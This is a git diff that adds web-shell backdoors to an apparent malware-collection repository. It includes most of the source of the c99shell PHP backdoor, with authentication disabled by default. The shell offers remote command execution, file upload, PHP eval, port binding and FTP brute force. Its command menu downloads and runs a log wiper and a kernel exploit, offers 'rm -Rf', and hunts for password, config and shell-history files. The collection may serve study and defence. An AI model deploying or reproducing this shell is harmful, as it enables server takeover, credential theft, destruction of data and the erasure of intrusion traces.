+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Shadow | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99.php b/web-malware-collection-master/Backdoors/PHP/c99.php new file mode 100755 index 0000000..8700c81 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99.php @@ -0,0 +1,2887 @@ +<?php +/* +****************************************************************************************************** +* +* c99shell.php v.1.0 Shellci.Biz +* SheLL Archive +* c99shell - Shellci.biz +* +****************************************************************************************************** +*/ + +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +@set_time_limit(0); +$win = strtolower(substr(PHP_OS, 0, 3)) == "win"; +if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);} +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 beta (21.05.2005)"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 60; //limit of execution this script (seconds), 0 = unlimited. + +//Authentication + +$login = "shellci.biz"; //login +//DON'T FORGOT ABOUT CHANGE PASSWORD!!! +$pass = "shellci.biz"; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + + /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$autoupdate = false; //Automatic updating? +$updatenow = false; //If true, update now +$c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server + +$filestealth = false; //if true, don't change modify&access-time + +$donated_html = "<center><b>GaRDeNFoX</b></center>"; + /* If you publish free shell and you wish + add link to your site or any other information, + put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start directory +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = true; //If true then save sorting-type. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." %f%"=>array("php","php3","php4"), +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: + 0 - files and folders (as default), + 1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if true and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive + // Set as false or for turn off. +$hexdump_lines = 8; // lines in hex preview file +$hexdump_rows = 24; // 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "11457"; // default port for binding + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable directories and files", "find / -perm -2 -ls"), + array("find all writable directories and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = true; //Buffer-function +$copy_unset = false; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Bind</b>",$surl."act=bind&d=%d"), + array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/ Next code isn't for editing \/ +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if ($login) +{ + if(empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if ($login_txt === false) {$login_txt = "";} + elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if (($selfwrite) or ($updatenow)) +{ + if ($selfwrite == "1") {$selfwrite = "c99shell.php";} + c99sh_getupdate(); + $data 